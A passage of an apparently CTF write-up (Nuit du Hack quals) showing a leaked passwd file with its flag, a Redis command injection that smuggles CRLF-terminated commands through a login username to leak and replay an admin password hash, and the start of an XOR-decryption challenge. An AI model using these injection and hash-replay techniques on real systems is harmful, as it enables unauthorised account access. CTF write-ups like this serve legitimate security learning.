<span class="n">games</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">5</span><span class="o">:</span><span class="mi">60</span><span class="o">:</span><span class="n">games</span><span class="o">:/</span><span class="n">usr</span><span class="sr">/games:/bin/s</span><span class="n">h</span>
<span class="n">man</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">6</span><span class="o">:</span><span class="mi">12</span><span class="o">:</span><span class="n">man</span><span class="o">:/</span><span class="n">var</span><span class="sr">/cache/man:/bin/s</span><span class="n">h</span>
<span class="n">lp</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">7</span><span class="o">:</span><span class="mi">7</span><span class="o">:</span><span class="n">lp</span><span class="o">:/</span><span class="n">var</span><span class="sr">/spool/lpd:/bin/s</span><span class="n">h</span>
<span class="n">mail</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="n">mail</span><span class="o">:/</span><span class="n">var</span><span class="sr">/mail:/bin/s</span><span class="n">h</span>
<span class="n">news</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">9</span><span class="o">:</span><span class="mi">9</span><span class="o">:</span><span class="n">news</span><span class="o">:/</span><span class="n">var</span><span class="sr">/spool/news:/bin/s</span><span class="n">h</span>
<span class="n">uucp</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">10</span><span class="o">:</span><span class="mi">10</span><span class="o">:</span><span class="n">uucp</span><span class="o">:/</span><span class="n">var</span><span class="sr">/spool/uucp:/bin/s</span><span class="n">h</span>
<span class="n">proxy</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">13</span><span class="o">:</span><span class="mi">13</span><span class="o">:</span><span class="n">proxy</span><span class="o">:/</span><span class="n">bin</span><span class="o">:/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">33</span><span class="o">:</span><span class="mi">33</span><span class="o">:</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="o">:/</span><span class="n">var</span><span class="sr">/www:/bin/s</span><span class="n">h</span>
<span class="n">backup</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">34</span><span class="o">:</span><span class="mi">34</span><span class="o">:</span><span class="n">backup</span><span class="o">:/</span><span class="n">var</span><span class="sr">/backups:/bin/s</span><span class="n">h</span>
<span class="n">list</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">38</span><span class="o">:</span><span class="mi">38</span><span class="o">:</span><span class="n">Mailing</span><span class="w"> </span><span class="n">List</span>
<span class="n">Manager</span><span class="o">:/</span><span class="n">var</span><span class="sr">/list:/bin/s</span><span class="n">h</span>
<span class="n">irc</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">39</span><span class="o">:</span><span class="mi">39</span><span class="o">:</span><span class="n">ircd</span><span class="o">:/</span><span class="n">var</span><span class="sr">/run/ircd:/bin/s</span><span class="n">h</span>
<span class="n">gnats</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">41</span><span class="o">:</span><span class="mi">41</span><span class="o">:</span><span class="n">Gnats</span>
<span class="n">Bug</span><span class="o">-</span><span class="n">Reporting</span><span class="w"> </span><span class="n">System</span><span class="w"> </span><span class="o">(</span><span class="n">admin</span><span class="o">):/</span><span class="n">var</span><span class="sr">/lib/gnats:/bin/s</span><span class="o">)</span>
<span class="n">nobody</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">65534</span><span class="o">:</span><span class="mi">65534</span><span class="o">:</span><span class="n">nobody</span><span class="o">:/</span><span class="n">nonexistent</span><span class="o">:/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span>
<span class="n">libuuid</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">100</span><span class="o">:</span><span class="mi">101</span><span class="o">::/</span><span class="n">var</span><span class="sr">/lib/libuuid:/bin/s</span><span class="n">h</span>
<span class="n">sshd</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">101</span><span class="o">:</span><span class="mi">65534</span><span class="o">::/</span><span class="n">var</span><span class="sr">/run/sshd:/usr/sbin/</span><span class="n">nologin</span>
<span class="n">facesec</span><span class="o">:</span><span class="n">x</span><span class="o">:</span><span class="mi">1000</span><span class="o">:</span><span class="mi">1000</span><span class="o">:</span><span class="n">W00tSymL1nkAttackStillW0rksIn2k15</span><span class="o">:/</span><span class="n">home</span><span class="sr">/facesec:/bin/s</span><span class="n">h</span>
</code></pre></div>
<p>The flag is the content of the <code>User ID Info</code> of the facesec user.</p>
<p><strong>Flag: W00tSymL1nkAttackStillW0rksIn2k15</strong></p>
<h1>SecureAuth</h1>
<p><strong>Thank to <a href="https://twitter.com/_Spl3en">Spl3en</a> who redacte this writeup before me.</strong></p>
<p>Exploit | 350 points | quals.nuitduhack.com/challenges/view/16</p>
<h2>Statement</h2>
<p>*"There is a building. Inside this building there is a level where no elevator
can go, and no stair can reach. This level is filled with doors. These doors
lead to many places. Hidden places. But one door is special. One door leads to
the source." (The Keymaker)</p>
<p>Find the key. Open the door.
Static client @ static.challs.nuitduhack.com/SecureAuthClient.tar.gz*</p>
<h2>Challenge</h2>
<p>The tar.gz file contain the following python program:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">sha256</span>
<span class="k">class</span> <span class="nc">SecureConnect_Client</span><span class="p">():</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span> <span class="o">=</span> <span class="kc">None</span>
<span class="bp">self</span><span class="o">.</span><span class="n">username</span> <span class="o">=</span> <span class="kc">None</span>
<span class="bp">self</span><span class="o">.</span><span class="n">password</span> <span class="o">=</span> <span class="kc">None</span>
<span class="k">def</span> <span class="nf">connect</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s2">"151.80.18.93"</span><span class="p">,</span> <span class="mi">4241</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">username</span> <span class="o">=</span> <span class="n">username</span>
<span class="bp">self</span><span class="o">.</span><span class="n">password</span> <span class="o">=</span> <span class="n">password</span>
<span class="n">challenge</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">get_challenge</span><span class="p">()</span>
<span class="n">authpacket</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">process_authpacket</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">challenge</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"[~] Sending auth packet..."</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">authpacket</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_challenge</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">data</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">if</span> <span class="n">data</span><span class="p">[:</span><span class="mi">9</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"CHALLENGE"</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"[~] Server sent challenge : </span><span class="si">%s</span><span class="s2"> !"</span> <span class="o">%</span> <span class="n">data</span><span class="p">[</span><span class="mi">10</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">return</span> <span class="n">data</span><span class="p">[</span><span class="mi">10</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s2">"Bad challenge..."</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">process_authpacket</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">authtoken</span><span class="p">,</span> <span class="n">challenge</span><span class="p">):</span>
<span class="n">packet</span> <span class="o">=</span> <span class="s2">"AUTH </span><span class="si">%s</span><span class="s2">|</span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">sha256</span><span class="p">(</span><span class="n">sha256</span><span class="p">(</span><span class="n">authtoken</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="o">+</span> <span class="n">challenge</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">())</span>
<span class="nb">print</span> <span class="s2">"[+] Auth data : </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="n">packet</span>
<span class="k">return</span> <span class="n">packet</span>
<span class="k">def</span> <span class="nf">get_response</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="nb">print</span> <span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="nb">print</span> <span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">close</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">scc</span> <span class="o">=</span> <span class="n">SecureConnect_Client</span><span class="p">()</span>
<span class="n">scc</span><span class="o">.</span><span class="n">connect</span><span class="p">()</span>
<span class="n">scc</span><span class="o">.</span><span class="n">login</span><span class="p">(</span><span class="s2">"username"</span><span class="p">,</span> <span class="s2">"password"</span><span class="p">)</span>
<span class="n">scc</span><span class="o">.</span><span class="n">get_response</span><span class="p">()</span>
<span class="n">scc</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>We execute the code:</p>
<div class="highlight"><pre><span></span><code><span class="c">spl3en@box:~$ python SecureAuthClient</span><span class="nt">.</span><span class="c">py</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Server sent challenge : gOg0gySNyDbKCKD5oT6SLEdG4fEgkNXntk5uQ1m1XtZzIvMT62bcqMgmB6ei5HVI !</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Auth data : AUTH username|7b98c028fc42ee7bc830948b036571f8327279b6929b4f598891ed608edbfbd9</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Sending auth packet</span><span class="nt">...</span>
<span class="k">[</span><span class="c">!</span><span class="k">]</span><span class="c"> Authentification Error : Invalid username</span><span class="nt">.</span>
<span class="k">[</span><span class="nb">-</span><span class="k">]</span><span class="c"> Bad password or authentification error</span><span class="nt">...</span><span class="c"> !</span>
</code></pre></div>
<h3>admin</h3>
<p>By replacing <code>username</code> by <code>admin</code> we got a different message allowing us to
think that we got the right user:</p>
<div class="highlight"><pre><span></span><code><span class="c">spl3en@box:~$ python SecureAuthClient</span><span class="nt">.</span><span class="c">py</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Server sent challenge : GRlJD0cTH7RQFPQ5TUNQRQZVmLrxejFNsDPYFF0LWZKvBJLvFwAvN0YDPvU9AMGV !</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Auth data : AUTH admin|febb7f8cec097ba5636da95ded1b019030483436385584297bbf64e1bf828acb</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Sending auth packet</span><span class="nt">...</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Welcome Administrator we are verifying your password</span><span class="nt">...</span>
<span class="k">[</span><span class="nb">-</span><span class="k">]</span><span class="c"> Bad password or authentification error</span><span class="nt">...</span><span class="c"> !</span>
</code></pre></div>
<h3>Errors</h3>
<p>Moreover, when playing with the username value, for instance by putting
<code>username"</code> we got the following message:</p>
<div class="highlight"><pre><span></span><code><span class="c">spl3en@box:~$ python SecureAuthClient</span><span class="nt">.</span><span class="c">py</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Server sent challenge : uJ2A8UE1WMwYCgWDmOMZSVirPWQoxhWAVeECAwWOVUxXD9q6qqvqGPSpolKr5KX1 !</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Auth data : AUTH username'|a932aed6531ebf37074484e10611499007dadd6c42f69649a242302c09245792</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Sending auth packet</span><span class="nt">...</span>
<span class="k">[</span><span class="c">!</span><span class="k">]</span><span class="c"> Authentification Error : Valid response code but no user data received : </span><span class="nb">-</span><span class="c">ERR Protocol error: unbalanced quotes in request</span>
<span class="k">[</span><span class="nb">-</span><span class="k">]</span><span class="c"> Bad password or authentification error</span><span class="nt">...</span><span class="c"> !</span>
</code></pre></div>
<h3>Redis</h3>
<p>The error <code>unbalanced quotes in request</code> seems to be from a Redis server, a
NoSQL engine. We can see this precise error in the
<a href="http://download.redis.io/redis-stable/src/networking.c"><code>networking.c</code></a> file
of the project.</p>
<p>We replace the username with <code>admin\x0A\x0D</code> in order to finish the command and
obtain :</p>
<div class="highlight"><pre><span></span><code><span class="c">spl3en@box:~$ python SecureAuthClient</span><span class="nt">.</span><span class="c">py</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Server sent challenge : OFJUOFLbDdR49FHeNMUH4FX7VFIUPxiASDKIaXpZvtIELU3Yo333ICcUmIZFfVWB !</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Auth data : AUTH username |e72fd1858578774bfbee00196992db55f7697833746053a2390a73f4616c60da</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Sending auth packet</span><span class="nt">...</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Welcome </span><span class="nb">-</span><span class="c">ERR unknown command ':name' we are verifying your password</span><span class="nt">...</span>
<span class="k">[</span><span class="nb">-</span><span class="k">]</span><span class="c"> Bad password or authentification error</span><span class="nt">...</span><span class="c"> !</span>
</code></pre></div>
<p>We notice the prefix <code>:name</code> which have been interpreted as a second command.</p>
<h3>Command injection</h3>
<p>We try to inject <a href="http://redis.io/commands">Redis commands</a> like <code>INFO</code> by
replacing the username with <code>admin\x0A\x0DINFO\x0A\x0D</code>:</p>
<div class="highlight"><pre><span></span><code><span class="c">spl3en@box:~$ python SecureAuthClient</span><span class="nt">.</span><span class="c">py</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Server sent challenge : JrLFTYYrDxYibypIBzkdmALAzDCoYe9olBMEZ2OXEDuqsrFFISLzLhWMkeFOdRCB !</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Auth data : AUTH admin</span>
<span class="c">INFO</span>
<span class="c">|30247cdea2397657332d6f35b4c2a4340b83e3a842a17119704f31185a41cbe3</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Sending auth packet</span><span class="nt">...</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Welcome </span><span class="nb">-</span><span class="c">ERR unknown command 'INFO' we are verifying your password</span><span class="nt">...</span>
<span class="k">[</span><span class="nb">-</span><span class="k">]</span><span class="c"> Bad password or authentification error</span><span class="nt">...</span><span class="c"> !</span>
</code></pre></div>
<p>The <code>INFO</code> commend is not recognize. After several tests, we see that all
commands but <code>GET</code> seems filtrated. We suppose that the one used to get the
username and the password in the NoSQL database. With</p>
<p>The requests on the server should be something like:</p>
<div class="highlight"><pre><span></span><code>username = GET <user>:name
password = GET <user>:password
</user></user></code></pre></div>
<p>We try to inject <code>admin:password\x0A\x0D</code> in the username, that will give us:</p>
<div class="highlight"><pre><span></span><code>username = GET admin:password\x0A\x0D:name
password = GET admin:password\x0A\x0D:password
</code></pre></div>
<p>(The name and password at the end of each line would not be interpreted).</p>
<p>We execute the program with <code>admin:password\x0A\x0D</code> as a username:</p>
<div class="highlight"><pre><span></span><code><span class="c">spl3en@box:~$ python SecureAuthClient</span><span class="nt">.</span><span class="c">py</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Server sent challenge : DsHn1UJH7LjPSpVOIuZwh7QUgEZ1qGXnK8sHxBYnSTsaWNdVYDvHG5UCPTrvL2AJ !</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Auth data : AUTH admin:password</span>
<span class="c">|606611cc808eabd5e38bed8e21360b52127f3e2cecbf02413c3da90fa43c71a3</span>
<span class="k">[</span><span class="c">~</span><span class="k">]</span><span class="c"> Sending auth packet</span><span class="nt">...</span>
<span class="k">[</span><span class="nb">+</span><span class="k">]</span><span class="c"> Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password</span><span class="nt">...</span>
<span class="k">[</span><span class="nb">-</span><span class="k">]</span><span class="c"> Bad password or authentification error</span><span class="nt">...</span><span class="c"> !</span>
</code></pre></div>
<p>As excepted the server show us the username that we replace by its hashed
password. We get the <code>sha256(admin_passwd)</code>:
<code>837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529</code>.</p>
<p>We replace the corresponding python code to directly send the hash:</p>
<div class="highlight"><pre><span></span><code><span class="n">packet</span> <span class="o">=</span> <span class="s2">"AUTH </span><span class="si">%s</span><span class="s2">|</span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">sha256</span><span class="p">(</span><span class="n">sha256</span><span class="p">(</span><span class="n">authtoken</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="o">+</span> <span class="n">challenge</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">())</span>
</code></pre></div>
<p>Become:</p>
<div class="highlight"><pre><span></span><code><span class="n">packet</span> <span class="o">=</span> <span class="s2">"AUTH </span><span class="si">%s</span><span class="s2">|</span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">sha256</span><span class="p">(</span><span class="s2">"837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529"</span> <span class="o">+</span> <span class="n">challenge</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">())</span>
</code></pre></div>
<p>We execute the script:</p>
<div class="highlight"><pre><span></span><code><span class="n">spl3en</span><span class="nv">@box</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">python</span><span class="w"> </span><span class="n">SecureAuthClient</span><span class="p">.</span><span class="n">py</span>
<span class="o">[</span><span class="n">~</span><span class="o">]</span><span class="w"> </span><span class="n">Server</span><span class="w"> </span><span class="n">sent</span><span class="w"> </span><span class="n">challenge</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="n">elQQpNHPDlDk1FO9RUiqDfUyUBRpFGMJ5NuBkGTGnGVYW9SCRluSYlcNQnJYkSHP</span><span class="w"> </span><span class="err">!</span>
<span class="o">[</span><span class="n">+</span><span class="o">]</span><span class="w"> </span><span class="n">Auth</span><span class="w"> </span><span class="k">data</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="n">AUTH</span><span class="w"> </span><span class="k">admin</span><span class="err">:</span><span class="n">password</span>
<span class="o">|</span><span class="mi">8</span><span class="n">baf1cc43bbe6316ed5959cd8efd2fd8f23d9bae441d4a8134277cd973fcaec4</span>
<span class="o">[</span><span class="n">~</span><span class="o">]</span><span class="w"> </span><span class="n">Sending</span><span class="w"> </span><span class="n">auth</span><span class="w"> </span><span class="n">packet</span><span class="p">...</span>
<span class="o">[</span><span class="n">+</span><span class="o">]</span><span class="w"> </span><span class="n">Welcome</span><span class="w"> </span><span class="mi">837</span><span class="n">a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529</span><span class="w"> </span><span class="n">we</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="n">verifying</span><span class="w"> </span><span class="n">your</span><span class="w"> </span><span class="n">password</span><span class="p">...</span>
<span class="o">[</span><span class="n">+</span><span class="o">]</span><span class="w"> </span><span class="n">Congrats</span><span class="p">.</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">flag</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="o">*</span><span class="n">INSERT_FUNNY_QUOTE_HERE</span><span class="o">*</span>
</code></pre></div>
<p><strong>Flag: *INSERT_FUNNY_QUOTE_HERE*</strong></p>
<h1>Updator</h1>
<p>Exploit | 200 points | quals.nuitduhack.com/challenges/view/9</p>
<p>updator.challs.nuitduhack.com/</p>
<h2>Statement</h2>
<p>*Unhackable : "Not hackable; that cannot be hacked or broken into."</p>
<p>We manage updates and thus have fixes, this is not a PS3 as it is unhackable…
or is it?*</p>
<h2>Challenge</h2>
<p>The website is a simple page with a login interface for witch we do not have any
credentials and a <strong>Update</strong> button.
When clicking on the button we got the following message from the page
updator.challs.nuitduhack.com/update.py:
<em>The update managing system is still under construction but will be available soon.</em></p>
<h3>robots.txt</h3>
<p>The file <code>robots.txt</code> reveal the folder temp/:</p>
<div class="highlight"><pre><span></span><code><span class="n">Disallow</span><span class="o">:</span><span class="w"> </span><span class="n">temp</span><span class="o">/*</span>
</code></pre></div>
<p>In this folder we found a file <code>log.py.encrypted</code>. How can we decipher it ?</p>
<h3>pyc</h3>
<p>The <strong>Update</strong> button call a <code>update.py</code> file therefor we can try for the
compiled version of it with the .pyc extension as confirmed by the page
updator.challs.nuitduhack.com/update.pyc</p>
<p>We must decompile this file, we will use
<a href="github.com/wibiti/uncompyle2">uncompyle2</a>. The output is the following
python program:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">config</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">KEY</span> <span class="o">=</span> <span class="n">config</span><span class="o">.</span><span class="n">KEY</span>
<span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">args</span><span class="p">)</span> <span class="o"><</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="n">args</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> <span class="o">!=</span> <span class="n">length</span><span class="p">:</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="n">args</span><span class="p">[</span><span class="mi">1</span><span class="p">:]:</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">([</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">arg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">cipher</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">arg</span><span class="p">))</span> <span class="p">])</span>
<span class="k">return</span> <span class="n">cipher</span>
<span class="k">class</span> <span class="nc">Crypto</span><span class="p">:</span>
<span class="nd">@staticmethod</span>
<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">file</span><span class="p">):</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fd</span><span class="p">:</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">fd</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">content</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="mi">8</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span><span class="p">),</span> <span class="s1">'0'</span><span class="p">)</span>
<span class="n">blocks</span> <span class="o">=</span> <span class="p">[</span> <span class="n">content</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">:(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">)</span> <span class="p">]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'</span><span class="si">%s</span><span class="s1">.encrypted'</span> <span class="o">%</span> <span class="n">file</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fd</span><span class="p">:</span>
<span class="n">encrypted</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">blocks</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">encrypted</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">KEY</span><span class="p">,</span> <span class="n">blocks</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">encrypted</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">KEY</span><span class="p">,</span> <span class="n">blocks</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">encrypted</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]))</span>
<span class="n">fd</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">encrypted</span><span class="p">))</span>
<span class="nd">@staticmethod</span>
<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">file</span><span class="p">):</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fd</span><span class="p">:</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">fd</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">blocks</span> <span class="o">=</span> <span class="p">[</span> <span class="n">content</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">:(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">)</span> <span class="p">]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'.'</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]),</span> <span class="s1">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fd</span><span class="p">:</span>
<span class="n">plain</span> <span class="o">=</span> <span class="p">[]</span>
